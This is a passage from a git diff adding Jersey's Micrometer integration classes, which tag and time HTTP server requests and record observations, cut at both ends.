+        this.requestEvent = requestEvent;
+    }
+
+    public RequestEvent getRequestEvent() {
+        return requestEvent;
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java
new file mode 100644
index 0000000..66cdaf7
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyKeyValues.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.common.KeyValue;
+import io.micrometer.common.util.StringUtils;
+import io.micrometer.core.instrument.binder.http.Outcome;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ExtendedUriInfo;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+
+/**
+ * Factory methods for {@link KeyValue KeyValues} associated with a request-response
+ * exchange that is handled by Jersey server.
+ */
+class JerseyKeyValues {
+
+    private static final KeyValue URI_NOT_FOUND = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI
+        .withValue("NOT_FOUND");
+
+    private static final KeyValue URI_REDIRECTION = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI
+        .withValue("REDIRECTION");
+
+    private static final KeyValue URI_ROOT = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI
+        .withValue("root");
+
+    private static final KeyValue EXCEPTION_NONE = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.EXCEPTION
+        .withValue("None");
+
+    private static final KeyValue STATUS_SERVER_ERROR = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.STATUS
+        .withValue("500");
+
+    private static final KeyValue METHOD_UNKNOWN = JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.METHOD
+        .withValue("UNKNOWN");
+
+    private JerseyKeyValues() {
+    }
+
+    /**
+     * Creates a {@code method} KeyValue based on the {@link ContainerRequest#getMethod()
+     * method} of the given {@code request}.
+     * @param request the container request
+     * @return the method KeyValue whose value is a capitalized method (e.g. GET).
+     */
+    static KeyValue method(ContainerRequest request) {
+        return (request != null)
+                ? JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.METHOD.withValue(request.getMethod())
+                : METHOD_UNKNOWN;
+    }
+
+    /**
+     * Creates a {@code status} KeyValue based on the status of the given
+     * {@code response}.
+     * @param response the container response
+     * @return the status KeyValue derived from the status of the response
+     */
+    static KeyValue status(ContainerResponse response) {
+        /* In case there is no response we are dealing with an unmapped exception. */
+        return (response != null) ? JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.STATUS
+            .withValue(Integer.toString(response.getStatus())) : STATUS_SERVER_ERROR;
+    }
+
+    /**
+     * Creates a {@code uri} KeyValue based on the URI of the given {@code event}. Uses
+     * the {@link ExtendedUriInfo#getMatchedTemplates()} if available. {@code REDIRECTION}
+     * for 3xx responses, {@code NOT_FOUND} for 404 responses.
+     * @param event the request event
+     * @return the uri KeyValue derived from the request event
+     */
+    static KeyValue uri(RequestEvent event) {
+        ContainerResponse response = event.getContainerResponse();
+        if (response != null) {
+            int status = response.getStatus();
+            if (JerseyTags.isRedirection(status) && event.getUriInfo().getMatchedResourceMethod() == null) {
+                return URI_REDIRECTION;
+            }
+            if (status == 404 && event.getUriInfo().getMatchedResourceMethod() == null) {
+                return URI_NOT_FOUND;
+            }
+        }
+        String matchingPattern = JerseyTags.getMatchingPattern(event);
+        if (matchingPattern.equals("/")) {
+            return URI_ROOT;
+        }
+        return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.URI.withValue(matchingPattern);
+    }
+
+    /**
+     * Creates an {@code exception} KeyValue based on the {@link Class#getSimpleName()
+     * simple name} of the class of the given {@code exception}.
+     * @param event the request event
+     * @return the exception KeyValue derived from the exception
+     */
+    static KeyValue exception(RequestEvent event) {
+        Throwable exception = event.getException();
+        if (exception == null) {
+            return EXCEPTION_NONE;
+        }
+        ContainerResponse response = event.getContainerResponse();
+        if (response != null) {
+            int status = response.getStatus();
+            if (status == 404 || JerseyTags.isRedirection(status)) {
+                return EXCEPTION_NONE;
+            }
+        }
+        if (exception.getCause() != null) {
+            exception = exception.getCause();
+        }
+        String simpleName = exception.getClass().getSimpleName();
+        return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.EXCEPTION
+            .withValue(StringUtils.isNotEmpty(simpleName) ? simpleName : exception.getClass().getName());
+    }
+
+    /**
+     * Creates an {@code outcome} KeyValue based on the status of the given
+     * {@code response}.
+     * @param response the container response
+     * @return the outcome KeyValue derived from the status of the response
+     */
+    static KeyValue outcome(ContainerResponse response) {
+        if (response != null) {
+            Outcome outcome = Outcome.forStatus(response.getStatus());
+            return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.OUTCOME.withValue(outcome.name());
+        }
+        /* In case there is no response we are dealing with an unmapped exception. */
+        return JerseyObservationDocumentation.JerseyLegacyLowCardinalityTags.OUTCOME
+            .withValue(Outcome.SERVER_ERROR.name());
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java
new file mode 100644
index 0000000..24bb475
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationConvention.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.observation.Observation;
+import io.micrometer.observation.ObservationConvention;
+
+/**
+ * Provides names and {@link io.micrometer.common.KeyValues} for Jersey request
+ * observations.
+ *
+ * @author Marcin Grzejszczak
+ * @since 2.41
+ */
+public interface JerseyObservationConvention extends ObservationConvention<JerseyContext> {
+
+    @Override
+    default boolean supportsContext(Observation.Context context) {
+        return context instanceof JerseyContext;
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java
new file mode 100644
index 0000000..bebbde9
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyObservationDocumentation.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.common.docs.KeyName;
+import io.micrometer.common.lang.NonNullApi;
+import io.micrometer.observation.Observation;
+import io.micrometer.observation.ObservationConvention;
+import io.micrometer.observation.docs.ObservationDocumentation;
+
+/**
+ * An {@link ObservationDocumentation} for Jersey.
+ *
+ * @author Marcin Grzejszczak
+ * @since 2.41
+ */
+@NonNullApi
+public enum JerseyObservationDocumentation implements ObservationDocumentation {
+
+    /**
+     * Default observation for Jersey.
+     */
+    DEFAULT {
+        @Override
+        public Class<? extends ObservationConvention<? extends Observation.Context>> getDefaultConvention() {
+            return DefaultJerseyObservationConvention.class;
+        }
+
+        @Override
+        public KeyName[] getLowCardinalityKeyNames() {
+            return JerseyLegacyLowCardinalityTags.values();
+        }
+    };
+
+    @NonNullApi
+    enum JerseyLegacyLowCardinalityTags implements KeyName {
+
+        OUTCOME {
+            @Override
+            public String asString() {
+                return "outcome";
+            }
+        },
+
+        METHOD {
+            @Override
+            public String asString() {
+                return "method";
+            }
+        },
+
+        URI {
+            @Override
+            public String asString() {
+                return "uri";
+            }
+        },
+
+        EXCEPTION {
+            @Override
+            public String asString() {
+                return "exception";
+            }
+        },
+
+        STATUS {
+            @Override
+            public String asString() {
+                return "status";
+            }
+        }
+
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java
new file mode 100644
index 0000000..d723c7c
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTags.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.util.List;
+import java.util.regex.Pattern;
+
+import io.micrometer.common.util.StringUtils;
+import io.micrometer.core.instrument.Tag;
+import io.micrometer.core.instrument.binder.http.Outcome;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ExtendedUriInfo;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+import org.glassfish.jersey.uri.UriTemplate;
+
+/**
+ * Factory methods for {@link Tag Tags} associated with a request-response exchange that
+ * is handled by Jersey server.
+ *
+ * @author Michael Weirauch
+ * @author Johnny Lim
+ * @since 2.41
+ */
+public final class JerseyTags {
+
+    private static final Tag URI_NOT_FOUND = Tag.of("uri", "NOT_FOUND");
+
+    private static final Tag URI_REDIRECTION = Tag.of("uri", "REDIRECTION");
+
+    private static final Tag URI_ROOT = Tag.of("uri", "root");
+
+    private static final Tag EXCEPTION_NONE = Tag.of("exception", "None");
+
+    private static final Tag STATUS_SERVER_ERROR = Tag.of("status", "500");
+
+    private static final Tag METHOD_UNKNOWN = Tag.of("method", "UNKNOWN");
+
+    static final Pattern TRAILING_SLASH_PATTERN = Pattern.compile("/$");
+
+    static final Pattern MULTIPLE_SLASH_PATTERN = Pattern.compile("//+");
+
+    private JerseyTags() {
+    }
+
+    /**
+     * Creates a {@code method} tag based on the {@link ContainerRequest#getMethod()
+     * method} of the given {@code request}.
+     * @param request the container request
+     * @return the method tag whose value is a capitalized method (e.g. GET).
+     */
+    public static Tag method(ContainerRequest request) {
+        return (request != null) ? Tag.of("method", request.getMethod()) : METHOD_UNKNOWN;
+    }
+
+    /**
+     * Creates a {@code status} tag based on the status of the given {@code response}.
+     * @param response the container response
+     * @return the status tag derived from the status of the response
+     */
+    public static Tag status(ContainerResponse response) {
+        /* In case there is no response we are dealing with an unmapped exception. */
+        return (response != null) ? Tag.of("status", Integer.toString(response.getStatus())) : STATUS_SERVER_ERROR;
+    }
+
+    /**
+     * Creates a {@code uri} tag based on the URI of the given {@code event}. Uses the
+     * {@link ExtendedUriInfo#getMatchedTemplates()} if available. {@code REDIRECTION} for
+     * 3xx responses, {@code NOT_FOUND} for 404 responses.
+     * @param event the request event
+     * @return the uri tag derived from the request event
+     */
+    public static Tag uri(RequestEvent event) {
+        ContainerResponse response = event.getContainerResponse();
+        if (response != null) {
+            int status = response.getStatus();
+            if (isRedirection(status) && event.getUriInfo().getMatchedResourceMethod() == null) {
+                return URI_REDIRECTION;
+            }
+            if (status == 404 && event.getUriInfo().getMatchedResourceMethod() == null) {
+                return URI_NOT_FOUND;
+            }
+        }
+        String matchingPattern = getMatchingPattern(event);
+        if (matchingPattern.equals("/")) {
+            return URI_ROOT;
+        }
+        return Tag.of("uri", matchingPattern);
+    }
+
+    static boolean isRedirection(int status) {
+        return 300 <= status && status < 400;
+    }
+
+    static String getMatchingPattern(RequestEvent event) {
+        ExtendedUriInfo uriInfo = event.getUriInfo();
+        List<UriTemplate> templates = uriInfo.getMatchedTemplates();
+
+        StringBuilder sb = new StringBuilder();
+        sb.append(uriInfo.getBaseUri().getPath());
+        for (int i = templates.size() - 1; i >= 0; i--) {
+            sb.append(templates.get(i).getTemplate());
+        }
+        String multipleSlashCleaned = MULTIPLE_SLASH_PATTERN.matcher(sb.toString()).replaceAll("/");
+        if (multipleSlashCleaned.equals("/")) {
+            return multipleSlashCleaned;
+        }
+        return TRAILING_SLASH_PATTERN.matcher(multipleSlashCleaned).replaceAll("");
+    }
+
+    /**
+     * Creates an {@code exception} tag based on the {@link Class#getSimpleName() simple
+     * name} of the class of the given {@code exception}.
+     * @param event the request event
+     * @return the exception tag derived from the exception
+     */
+    public static Tag exception(RequestEvent event) {
+        Throwable exception = event.getException();
+        if (exception == null) {
+            return EXCEPTION_NONE;
+        }
+        ContainerResponse response = event.getContainerResponse();
+        if (response != null) {
+            int status = response.getStatus();
+            if (status == 404 || isRedirection(status)) {
+                return EXCEPTION_NONE;
+            }
+        }
+        if (exception.getCause() != null) {
+            exception = exception.getCause();
+        }
+        String simpleName = exception.getClass().getSimpleName();
+        return Tag.of("exception", StringUtils.isNotEmpty(simpleName) ? simpleName : exception.getClass().getName());
+    }
+
+    /**
+     * Creates an {@code outcome} tag based on the status of the given {@code response}.
+     * @param response the container response
+     * @return the outcome tag derived from the status of the response
+     */
+    public static Tag outcome(ContainerResponse response) {
+        if (response != null) {
+            return Outcome.forStatus(response.getStatus()).asTag();
+        }
+        /* In case there is no response we are dealing with an unmapped exception. */
+        return Outcome.SERVER_ERROR.asTag();
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java
new file mode 100644
index 0000000..c1d2da0
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/JerseyTagsProvider.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.core.instrument.Tag;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+
+/**
+ * Provides {@link Tag Tags} for Jersey request metrics.
+ *
+ * @author Michael Weirauch
+ * @since 2.41
+ */
+public interface JerseyTagsProvider {
+
+    /**
+     * Provides tags to be associated with metrics for the given {@code event}.
+     * @param event the request event
+     * @return tags to associate with metrics recorded for the request
+     */
+    Iterable<Tag> httpRequestTags(RequestEvent event);
+
+    /**
+     * Provides tags to be associated with the
+     * {@link io.micrometer.core.instrument.LongTaskTimer} which instruments the given
+     * long-running {@code event}.
+     * @param event the request event
+     * @return tags to associate with metrics recorded for the request
+     */
+    Iterable<Tag> httpLongRequestTags(RequestEvent event);
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java
new file mode 100644
index 0000000..30ccc36
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsApplicationEventListener.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.core.instrument.MeterRegistry;
+import org.glassfish.jersey.server.monitoring.ApplicationEvent;
+import org.glassfish.jersey.server.monitoring.ApplicationEventListener;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+import org.glassfish.jersey.server.monitoring.RequestEventListener;
+
+import static java.util.Objects.requireNonNull;
+
+/**
+ * The Micrometer {@link ApplicationEventListener} which registers
+ * {@link RequestEventListener} for instrumenting Jersey server requests.
+ *
+ * @author Michael Weirauch
+ * @since 2.41
+ */
+public class MetricsApplicationEventListener implements ApplicationEventListener {
+
+    private final MeterRegistry meterRegistry;
+
+    private final JerseyTagsProvider tagsProvider;
+
+    private final String metricName;
+
+    private final AnnotationFinder annotationFinder;
+
+    private final boolean autoTimeRequests;
+
+    public MetricsApplicationEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName,
+            boolean autoTimeRequests) {
+        this(registry, tagsProvider, metricName, autoTimeRequests, AnnotationFinder.DEFAULT);
+    }
+
+    public MetricsApplicationEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName,
+            boolean autoTimeRequests, AnnotationFinder annotationFinder) {
+        this.meterRegistry = requireNonNull(registry);
+        this.tagsProvider = requireNonNull(tagsProvider);
+        this.metricName = requireNonNull(metricName);
+        this.annotationFinder = requireNonNull(annotationFinder);
+        this.autoTimeRequests = autoTimeRequests;
+    }
+
+    @Override
+    public void onEvent(ApplicationEvent event) {
+    }
+
+    @Override
+    public RequestEventListener onRequest(RequestEvent requestEvent) {
+        return new MetricsRequestEventListener(meterRegistry, tagsProvider, metricName, autoTimeRequests,
+                annotationFinder);
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java
new file mode 100644
index 0000000..cca1d13
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.IdentityHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import io.micrometer.core.annotation.Timed;
+import io.micrometer.core.instrument.LongTaskTimer;
+import io.micrometer.core.instrument.MeterRegistry;
+import io.micrometer.core.instrument.Timer;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.model.ResourceMethod;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+import org.glassfish.jersey.server.monitoring.RequestEventListener;
+
+import static java.util.Objects.requireNonNull;
+
+/**
+ * {@link RequestEventListener} recording timings for Jersey server requests.
+ *
+ * @author Michael Weirauch
+ * @author Jon Schneider
+ * @since 2.41
+ */
+public class MetricsRequestEventListener implements RequestEventListener {
+
+    private final Map<ContainerRequest, Timer.Sample> shortTaskSample = Collections
+        .synchronizedMap(new IdentityHashMap<>());
+
+    private final Map<ContainerRequest, Collection<LongTaskTimer.Sample>> longTaskSamples = Collections
+        .synchronizedMap(new IdentityHashMap<>());
+
+    private final Map<ContainerRequest, Set<Timed>> timedAnnotationsOnRequest = Collections
+        .synchronizedMap(new IdentityHashMap<>());
+
+    private final MeterRegistry registry;
+
+    private final JerseyTagsProvider tagsProvider;
+
+    private boolean autoTimeRequests;
+
+    private final TimedFinder timedFinder;
+
+    private final String metricName;
+
+    public MetricsRequestEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName,
+            boolean autoTimeRequests, AnnotationFinder annotationFinder) {
+        this.registry = requireNonNull(registry);
+        this.tagsProvider = requireNonNull(tagsProvider);
+        this.metricName = requireNonNull(metricName);
+        this.autoTimeRequests = autoTimeRequests;
+        this.timedFinder = new TimedFinder(annotationFinder);
+    }
+
+    @Override
+    public void onEvent(RequestEvent event) {
+        ContainerRequest containerRequest = event.getContainerRequest();
+        Set<Timed> timedAnnotations;
+
+        switch (event.getType()) {
+            case ON_EXCEPTION:
+                if (!isNotFoundException(event)) {
+                    break;
+                }
+                time(event, containerRequest);
+                break;
+            case REQUEST_MATCHED:
+                time(event, containerRequest);
+                break;
+            case FINISHED:
+                timedAnnotations = timedAnnotationsOnRequest.remove(containerRequest);
+                Timer.Sample shortSample = shortTaskSample.remove(containerRequest);
+
+                if (shortSample != null) {
+                    for (Timer timer : shortTimers(timedAnnotations, event)) {
+                        shortSample.stop(timer);
+                    }
+                }
+
+                Collection<LongTaskTimer.Sample> longSamples = this.longTaskSamples.remove(containerRequest);
+                if (longSamples != null) {
+                    for (LongTaskTimer.Sample longSample : longSamples) {
+                        longSample.stop();
+                    }
+                }
+                break;
+        }
+    }
+
+    private void time(RequestEvent event, ContainerRequest containerRequest) {
+        Set<Timed> timedAnnotations;
+        timedAnnotations = annotations(event);
+
+        timedAnnotationsOnRequest.put(containerRequest, timedAnnotations);
+        shortTaskSample.put(containerRequest, Timer.start(registry));
+
+        List<LongTaskTimer.Sample> longTaskSamples = longTaskTimers(timedAnnotations, event).stream()
+            .map(LongTaskTimer::start)
+            .collect(Collectors.toList());
+        if (!longTaskSamples.isEmpty()) {
+            this.longTaskSamples.put(containerRequest, longTaskSamples);
+        }
+    }
+
+    private boolean isNotFoundException(RequestEvent event) {
+        Throwable t = event.getException();
+        if (t == null) {
+            return false;
+        }
+        String className = t.getClass().getCanonicalName();
+        return className.equals("jakarta.ws.rs.NotFoundException") || className.equals("jakarta.ws.rs.NotFoundException");
+    }
+
+    private Set<Timer> shortTimers(Set<Timed> timed, RequestEvent event) {
+        /*
+         * Given we didn't find any matching resource method, 404s will be only recorded
+         * when auto-time-requests is enabled. On par with WebMVC instrumentation.
+         */
+        if ((timed == null || timed.isEmpty()) && autoTimeRequests) {
+            return Collections.singleton(registry.timer(metricName, tagsProvider.httpRequestTags(event)));
+        }
+
+        if (timed == null) {
+            return Collections.emptySet();
+        }
+
+        return timed.stream()
+            .filter(annotation -> !annotation.longTask())
+            .map(t -> Timer.builder(t, metricName).tags(tagsProvider.httpRequestTags(event)).register(registry))
+            .collect(Collectors.toSet());
+    }
+
+    private Set<LongTaskTimer> longTaskTimers(Set<Timed> timed, RequestEvent event) {
+        return timed.stream()
+            .filter(Timed::longTask)
+            .map(LongTaskTimer::builder)
+            .map(b -> b.tags(tagsProvider.httpLongRequestTags(event)).register(registry))
+            .collect(Collectors.toSet());
+    }
+
+    private Set<Timed> annotations(RequestEvent event) {
+        final Set<Timed> timed = new HashSet<>();
+
+        final ResourceMethod matchingResourceMethod = event.getUriInfo().getMatchedResourceMethod();
+        if (matchingResourceMethod != null) {
+            // collect on method level
+            timed.addAll(timedFinder.findTimedAnnotations(matchingResourceMethod.getInvocable().getHandlingMethod()));
+
+            // fallback on class level
+            if (timed.isEmpty()) {
+                timed.addAll(timedFinder.findTimedAnnotations(
+                        matchingResourceMethod.getInvocable().getHandlingMethod().getDeclaringClass()));
+            }
+        }
+        return timed;
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java
new file mode 100644
index 0000000..6f519f0
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import io.micrometer.observation.ObservationRegistry;
+import org.glassfish.jersey.server.monitoring.ApplicationEvent;
+import org.glassfish.jersey.server.monitoring.ApplicationEventListener;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+import org.glassfish.jersey.server.monitoring.RequestEventListener;
+
+import static java.util.Objects.requireNonNull;
+
+/**
+ * The Micrometer {@link ApplicationEventListener} which registers
+ * {@link RequestEventListener} for instrumenting Jersey server requests with
+ * observations.
+ *
+ * @author Marcin Grzejszczak
+ * @since 2.41
+ */
+public class ObservationApplicationEventListener implements ApplicationEventListener {
+
+    private final ObservationRegistry observationRegistry;
+
+    private final String metricName;
+
+    private final JerseyObservationConvention jerseyObservationConvention;
+
+    public ObservationApplicationEventListener(ObservationRegistry observationRegistry, String metricName) {
+        this(observationRegistry, metricName, null);
+    }
+
+    public ObservationApplicationEventListener(ObservationRegistry observationRegistry, String metricName,
+            JerseyObservationConvention jerseyObservationConvention) {
+        this.observationRegistry = requireNonNull(observationRegistry);
+        this.metricName = requireNonNull(metricName);
+        this.jerseyObservationConvention = jerseyObservationConvention;
+    }
+
+    @Override
+    public void onEvent(ApplicationEvent event) {
+    }
+
+    @Override
+    public RequestEventListener onRequest(RequestEvent requestEvent) {
+        return new ObservationRequestEventListener(observationRegistry, metricName, jerseyObservationConvention);
+    }
+
+}
diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java
new file mode 100644
index 0000000..953944b
--- /dev/null
+++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server;
+
+import java.util.Collections;
+import java.util.IdentityHashMap;
+import java.util.Map;
+import java.util.Objects;
+
+import io.micrometer.observation.Observation;
+import io.micrometer.observation.ObservationRegistry;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.monitoring.RequestEvent;
+import org.glassfish.jersey.server.monitoring.RequestEventListener;
+
+import static java.util.Objects.requireNonNull;
+
+/**
+ * {@link RequestEventListener} recording observations for Jersey server requests.
+ *
+ * @author Marcin Grzejszczak
+ * @since 2.41
+ */
+public class ObservationRequestEventListener implements RequestEventListener {
+
+    private final Map<ContainerRequest, ObservationScopeAndContext> observations = Collections
+        .synchronizedMap(new IdentityHashMap<>());
+
+    private final ObservationRegistry registry;
+
+    private final JerseyObservationConvention customConvention;
+
+    private final String metricName;
+
+    private final JerseyObservationConvention defaultConvention;
+
+    public ObservationRequestEventListener(ObservationRegistry registry, String metricName) {
+        this(registry, metricName, null);
+    }
+
+    public ObservationRequestEventListener(ObservationRegistry registry, String metricName,
